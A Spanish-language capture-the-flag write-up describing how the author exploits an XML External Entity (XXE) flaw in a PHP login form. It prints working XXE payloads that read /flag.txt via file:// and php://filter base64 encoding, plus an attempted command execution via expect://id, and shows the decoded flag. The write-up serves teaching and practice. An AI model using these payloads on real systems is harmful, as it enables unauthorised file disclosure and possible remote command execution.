
Empiezo probando a analizar haciendo login (admin/admin) y al ver que devuelve ’admin login success!’ investigo el código.
En el código puedo ver el script donde hace la petición y un comentario “curioso”:

Al ver que se hace login y poco más cambio a la pestaña de network del inspector y comienzo con la request, donde puedo ver que se está enviando un XML.

Inicio mi busqueda en google e indago si existe alguna vulnerabilidad que pueda aprovechar con XML, efecitvamente con mi “super” búsqueda, vulnerabilidad xml, encuentro una técnica llamada XEE(XML External Entity), así que sigo buscando información y busco algún payload de ejemplo y empiezo las pruebas.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xee SYSTEM "file:///flag.txt" >]>
<user>
<username>&xee;</username>
<password>admin</password>
</user>
En el reto ponía que la flag estaba en /flag.txt así que es la primera prueba que hago.

Hemos avanzado, aunque devuelve que no puedo leer la flag je je 🤬
Sigo con la búsqueda para seguir probando cosas, mi siguiente gran prompt en google… rce mediante xee, y empiezo a leer cosas con el módulo expect de PHP, asi que hacemos pruebas con este payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<user>
<username>&xxe;</username>
<password>mypass</password>
</user>
Y al obtener esta respuesta podemos deducir que ese módulo de PHP no está habilitado, cosa que en las lecturas previas daban esa posibilidad.
<result>
<code>0</code>
<msg></msg>
</result>
Nuevamente acudo a mi gran amigo google y aqui se me va un rato largo (no diré cuanto 🤣), hasta que doy con una posible solución que me hace ir a BurpSuite de cabeza, el payload en cuestión es el siguiente:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt" >]>
<user>
<username>&xxe;</username>
<password>mypass</password>
</user>
Aqui de lo que nos aprovechamos es del módulo filter de PHP para encodear(no leer jeje) la flag, y lo metemos como una entidad externa dentro de username con &xee. Bien, lanzamos el repeater de burp con nuestro nuevo payload y obtenemos:

😬 Tenemos la flag!! 🤟🏻
ZGVhZHtuMWNlX2JyMF9YRTNfM3pfaDNoM30K
Para obtenerla ya es al gusto… cyberchef, terminal…
> echo 'ZGVhZHtuMWNlX2JyMF9YRTNfM3pfaDNoM30K' | base64 -d
dead{n1ce_br0_XE3_3z_h3h3}